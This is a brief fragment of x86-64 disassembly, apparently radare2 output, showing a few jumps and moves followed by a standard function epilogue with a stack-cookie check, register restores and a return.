jne 0x1800b9370
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xa0], rax
mov eax, 0x3fe7ac2d
lea rsi, [rsp + 0xc0]
jmp 0x1800b7130
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1800ba080
mov eax, 1
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret